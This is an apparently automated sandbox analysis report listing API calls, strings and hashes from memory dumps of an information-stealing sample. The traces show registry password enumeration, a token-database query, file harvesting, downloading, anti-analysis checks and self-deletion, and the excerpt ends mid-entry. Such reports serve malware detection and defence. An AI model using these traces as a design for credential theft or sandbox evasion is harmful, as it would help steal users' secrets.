Part of subcall function 022D9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 022D9072

Part of subcall function 022D94C7: StrStrA.SHLWAPI(?,?), ref: 022D94D3

lstrcpy.KERNEL32(?,00000000), ref: 022D167E

Part of subcall function 022D94C7: lstrcpyn.KERNEL32(0064AB88,?,?), ref: 022D94F7
Part of subcall function 022D94C7: lstrlen.KERNEL32(?), ref: 022D950E
Part of subcall function 022D94C7: wsprintfA.USER32 ref: 022D952E

lstrcpy.KERNEL32(?,00000000), ref: 022D16C6
lstrcpy.KERNEL32(?,00000000), ref: 022D170E
lstrcpy.KERNEL32(?,00000000), ref: 022D1755
lstrcpy.KERNEL32(?,00000000), ref: 022D179D
lstrcpy.KERNEL32(?,00000000), ref: 022D17E5
lstrcpy.KERNEL32(?,00000000), ref: 022D182C
lstrcpy.KERNEL32(?,00000000), ref: 022D1874

Part of subcall function 022DAA87: lstrlen.KERNEL32(022C516C,?,?,022C516C,00420DDE), ref: 022DAA92
Part of subcall function 022DAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 022DAAEC

strtok_s.MSVCRT ref: 022D19B7

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$FolderPathlstrcpynstrtok_swsprintf
String ID:
API String ID: 4276352425-0
Opcode ID: 83c65cf866c105f8028d079524fd97563369a1785312c17678ae49576856bbd9
Instruction ID: 54b6f1d44981ec61bab09f4e2a89a8888bf75fd6afb3ada90c48840242988e22
Opcode Fuzzy Hash: 83c65cf866c105f8028d079524fd97563369a1785312c17678ae49576856bbd9
Instruction Fuzzy Hash: CE7155B6960218ABCB14EBE0DC88EEE737AAF55301F044598F10DA3144EF75AB84CF61

Function 004072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 00414780 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,00799988,?,00000104,?,00000104,?,00000104,?,00000104), ref: 004147DB

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414801
lstrcatA.KERNEL32(?,?), ref: 00414820
lstrcatA.KERNEL32(?,?), ref: 00414834
lstrcatA.KERNEL32(?,00794BF0), ref: 00414847
lstrcatA.KERNEL32(?,?), ref: 0041485B
lstrcatA.KERNEL32(?,00799E80), ref: 0041486F

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 00418D90: GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Part of subcall function 00414570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414580
Part of subcall function 00414570: HeapAlloc.KERNEL32(00000000), ref: 00414587
Part of subcall function 00414570: wsprintfA.USER32 ref: 004145A6
Part of subcall function 00414570: FindFirstFileA.KERNEL32(?,?), ref: 004145BD

Strings

0aA, xrefs: 004148F9, 004148A1, 004148A4

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 0aA
API String ID: 167551676-2786531170
Opcode ID: 1757d68d067b46057756a1022eb737b915d2dfc295090359e4600a2c9f7fad42
Instruction ID: 67fb29d5a8d89bc8d31ec604eacddc75011aa0e27ff4711df2ee94280de74797
Opcode Fuzzy Hash: 1757d68d067b46057756a1022eb737b915d2dfc295090359e4600a2c9f7fad42
Instruction Fuzzy Hash: EF3182BAD402086BDB10FBF0DC85EE9737DAB48704F40458EB31996081EE7897C9CB99

Function 00418100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00799628,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00799628,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
__aulldiv.LIBCMT ref: 00418172
__aulldiv.LIBCMT ref: 00418180
wsprintfA.USER32 ref: 004181AC

Strings

@, xrefs: 0041814D
%d MB, xrefs: 004181A3

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 96825d9750bf8db03c9b3ba7d6dfdbb869a7567600a83181e99cf30d3b71d0f4
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: CD210BB1E44218BBDB00DFD5CC49FAEB7B9FB45B14F104609F605BB280D77869018BA9

Function 0040BA80 Relevance: 13.8, APIs: 4, Strings: 5, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlenA.KERNEL32(00000000), ref: 0040BDA5
lstrlenA.KERNEL32(00000000), ref: 0040BDB9

Strings

AccountTokens, xrefs: 0040BABA
AccountTokens, xrefs: 0040BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
.y, xrefs: 0040BA9F, 0040BB0E
AccountId, xrefs: 0040BCC4

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service$.y
API String ID: 1440504306-3341933168
Opcode ID: 5226a6c591d179b7e6389724377be7240f9668c20b1684fac7b0d54382ec3448
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: 5226a6c591d179b7e6389724377be7240f9668c20b1684fac7b0d54382ec3448
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 022C6307 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022C4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A51
Part of subcall function 022C4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A68
Part of subcall function 022C4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A7F
Part of subcall function 022C4A17: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 022C4AA0
Part of subcall function 022C4A17: InternetCrackUrlA.WININET(00000000,00000000), ref: 022C4AB0

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 022C6376
StrCmpCA.SHLWAPI(?,0064A480), ref: 022C63AE
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 022C63F6
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 022C641A
InternetReadFile.WININET(?,?,00000400,?), ref: 022C6443
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 022C6471
CloseHandle.KERNEL32(?,?,00000400), ref: 022C64B0
InternetCloseHandle.WININET(?), ref: 022C64BA
InternetCloseHandle.WININET(00000000), ref: 022C64C7

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: b915265d1829dfbd27db1cb5210114f0d1e48a2f7e5b50ca4442b739670315f0
Instruction ID: 67dfc47b9beed2af0c21a352ac44cc967c34207309999739b4cbb5bbe06321b1
Opcode Fuzzy Hash: b915265d1829dfbd27db1cb5210114f0d1e48a2f7e5b50ca4442b739670315f0
Instruction Fuzzy Hash: BC516DB5A60218ABDB30DFE0CC44BEE7779AB44705F10829CB605A71C4DBB46A85CF95

Function 022D4FD7 Relevance: 12.6, APIs: 10, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 022D4FEE

Part of subcall function 022D9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 022D9072

lstrcat.KERNEL32(?,00000000), ref: 022D5017
lstrcat.KERNEL32(?,00421000), ref: 022D5034

Part of subcall function 022D4B77: wsprintfA.USER32 ref: 022D4B93
Part of subcall function 022D4B77: FindFirstFileA.KERNEL32(?,?), ref: 022D4BAA

memset.MSVCRT ref: 022D507A
lstrcat.KERNEL32(?,00000000), ref: 022D50A3
lstrcat.KERNEL32(?,00421020), ref: 022D50C0

Part of subcall function 022D4B77: StrCmpCA.SHLWAPI(?,00420FDC), ref: 022D4BD8
Part of subcall function 022D4B77: StrCmpCA.SHLWAPI(?,00420FE0), ref: 022D4BEE
Part of subcall function 022D4B77: FindNextFileA.KERNEL32(000000FF,?), ref: 022D4DE4
Part of subcall function 022D4B77: FindClose.KERNEL32(000000FF), ref: 022D4DF9

memset.MSVCRT ref: 022D5106
lstrcat.KERNEL32(?,00000000), ref: 022D512F
lstrcat.KERNEL32(?,00421038), ref: 022D514C

Part of subcall function 022D4B77: wsprintfA.USER32 ref: 022D4C17
Part of subcall function 022D4B77: StrCmpCA.SHLWAPI(?,004208D2), ref: 022D4C2C
Part of subcall function 022D4B77: wsprintfA.USER32 ref: 022D4C49
Part of subcall function 022D4B77: PathMatchSpecA.SHLWAPI(?,?), ref: 022D4C85
Part of subcall function 022D4B77: lstrcat.KERNEL32(?,0064A524), ref: 022D4CB1
Part of subcall function 022D4B77: lstrcat.KERNEL32(?,00420FF8), ref: 022D4CC3
Part of subcall function 022D4B77: lstrcat.KERNEL32(?,?), ref: 022D4CD7
Part of subcall function 022D4B77: lstrcat.KERNEL32(?,00420FFC), ref: 022D4CE9
Part of subcall function 022D4B77: lstrcat.KERNEL32(?,?), ref: 022D4CFD
Part of subcall function 022D4B77: CopyFileA.KERNEL32(?,?,00000001), ref: 022D4D13
Part of subcall function 022D4B77: DeleteFileA.KERNEL32(?), ref: 022D4D98

memset.MSVCRT ref: 022D5192

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 4017274736-0
Opcode ID: 53c49ebc4b6c987f3a25fb04f0f9e833fe86fb43a5b4eada2cc9e881564654d5
Instruction ID: c32fbc880afc870f932ec7f27b0810a65dec1f4649b06e22f31fd9bb2a6df13a
Opcode Fuzzy Hash: 53c49ebc4b6c987f3a25fb04f0f9e833fe86fb43a5b4eada2cc9e881564654d5
Instruction Fuzzy Hash: 2B41D579A5031467CB10F7F0EC46FD93739AB24701F804594B689660C4EEB957D88F92

Function 022CD9E7 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022D8DC7: GetSystemTime.KERNEL32(00420E1A,xJy,004205AE,?,?,022C1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FBC,00420E17), ref: 022D8DED

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 022CDA68
lstrlen.KERNEL32(00000000), ref: 022CDC06
lstrlen.KERNEL32(00000000), ref: 022CDC1A
DeleteFileA.KERNEL32(00000000), ref: 022CDC99

Strings

.y, xrefs: 022CDA7B, 022CDA81
hKy, xrefs: 022CDB4E, 022CDB54
P/y, xrefs: 022CDAB1, 022CDAB6

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: P/y$hKy$.y
API String ID: 211194620-3654186572
Opcode ID: 75d72e7265c2b0bcdfeb4fd8a00493fe315c357100f507a1e1d65a562648f628
Instruction ID: 18dc0bb51eb4d82087b3f4b200956b949eb86c012a68f3d762c3b4dba5283d76
Opcode Fuzzy Hash: 75d72e7265c2b0bcdfeb4fd8a00493fe315c357100f507a1e1d65a562648f628
Instruction Fuzzy Hash: 5A810E72920318ABCB08FBE4DD95DEE733AAF64304F54466DE006A6194EF346B48CF61

Function 0040D780 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00794A78,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D801
lstrlenA.KERNEL32(00000000), ref: 0040D99F
lstrlenA.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Strings

P/y, xrefs: 0040D84A
hKy, xrefs: 0040D8E7
.y, xrefs: 0040D814

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: P/y$hKy$.y
API String ID: 211194620-3654186572
Opcode ID: 6f72e535e7ae17eb60bcd9d89638ab31fc633a2b1ef8f0b3f434f04c74d69d2e
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 6f72e535e7ae17eb60bcd9d89638ab31fc633a2b1ef8f0b3f434f04c74d69d2e
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 022D6C57 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,X~v), ref: 022D9B08
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A5C8), ref: 022D9B21
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A644), ref: 022D9B39
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A264), ref: 022D9B51
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A250), ref: 022D9B6A
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0, Nv), ref: 022D9B82
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,Hv), ref: 022D9B9A
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,(Iv), ref: 022D9BB3
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,~v), ref: 022D9BCB
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,p~v), ref: 022D9BE3
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,H+y), ref: 022D9BFC
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,h,y), ref: 022D9C14
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,(Jv), ref: 022D9C2C
Part of subcall function 022D9AC7: GetProcAddress.KERNEL32(0064A8B0,0064A0B0), ref: 022D9C45

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022C1437: ExitProcess.KERNEL32 ref: 022C1478

Part of subcall function 022C13C7: GetSystemInfo.KERNEL32(?), ref: 022C13D1
Part of subcall function 022C13C7: ExitProcess.KERNEL32 ref: 022C13E5

Part of subcall function 022C1377: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 022C1392
Part of subcall function 022C1377: VirtualAllocExNuma.KERNEL32(00000000), ref: 022C1399
Part of subcall function 022C1377: ExitProcess.KERNEL32 ref: 022C13AA

Part of subcall function 022C1487: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 022C14A5
Part of subcall function 022C1487: __aulldiv.LIBCMT ref: 022C14BF
Part of subcall function 022C1487: __aulldiv.LIBCMT ref: 022C14CD
Part of subcall function 022C1487: ExitProcess.KERNEL32 ref: 022C14FB

Part of subcall function 022D69D7: GetUserDefaultLangID.KERNEL32 ref: 022D69DB

Part of subcall function 022C13F7: ExitProcess.KERNEL32 ref: 022C142D

Part of subcall function 022D7AB7: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,022C141E), ref: 022D7AE7
Part of subcall function 022D7AB7: RtlAllocateHeap.NTDLL(00000000), ref: 022D7AEE
Part of subcall function 022D7AB7: GetUserNameA.ADVAPI32(00000104,00000104), ref: 022D7B06

Part of subcall function 022D7B47: GetProcessHeap.KERNEL32(00000000,00000104), ref: 022D7B77
Part of subcall function 022D7B47: RtlAllocateHeap.NTDLL(00000000), ref: 022D7B7E
Part of subcall function 022D7B47: GetComputerNameA.KERNEL32(?,00000104), ref: 022D7B96

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,p/y,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 022D6D31
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 022D6D4F
CloseHandle.KERNEL32(00000000), ref: 022D6D60
Sleep.KERNEL32(00001770), ref: 022D6D6B
CloseHandle.KERNEL32(?,00000000,?,p/y,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 022D6D81
ExitProcess.KERNEL32 ref: 022D6D89

Strings

p/y, xrefs: 022D6CB8, 022D6CBE

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID: p/y
API String ID: 2525456742-2423603383
Opcode ID: 8bfceb1ee71bfa1add3f5fc1feb3515e0baf2b6ad89577cb8e665fbf230e511d
Instruction ID: 6bcfbd33479c23aa2598e5acad65a1707f33dcf806e674d585a9faef8277290a
Opcode Fuzzy Hash: 8bfceb1ee71bfa1add3f5fc1feb3515e0baf2b6ad89577cb8e665fbf230e511d
Instruction Fuzzy Hash: F0312775A60308ABDB04FBF0EC55FFD737AAF25300F640618B102A6198EFB85A44CE61

Function 022D6897 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 022D68CA

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

ShellExecuteEx.SHELL32(0000003C), ref: 022D698D
ExitProcess.KERNEL32 ref: 022D69BC

Strings

<, xrefs: 022D6940
@Ly, xrefs: 022D695E
0y, xrefs: 022D6955
0My, xrefs: 022D68D0, 022D68D5

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: 0My$<$@Ly$0y
API String ID: 1148417306-1044796305
Opcode ID: 4ae30b859fc942c9587f152936d11ec8aa2d9d08854ccb4cb357e31b47128d92
Instruction ID: 9b7c3c95e078da23ba48b08a191cde25f6cfced6328a631394ac5ef51581a7f2
Opcode Fuzzy Hash: 4ae30b859fc942c9587f152936d11ec8aa2d9d08854ccb4cb357e31b47128d92
Instruction Fuzzy Hash: AF3136B1911308ABDB14EFD0DD85FDEB77AAF14300F404189E205A6194DF746B89CF59

Function 00416630 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416663

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00416726
ExitProcess.KERNEL32 ref: 00416755

Strings

@Ly, xrefs: 004166F7
0My, xrefs: 00416669
0y, xrefs: 004166EE
<, xrefs: 004166D9

Memory Dump Source

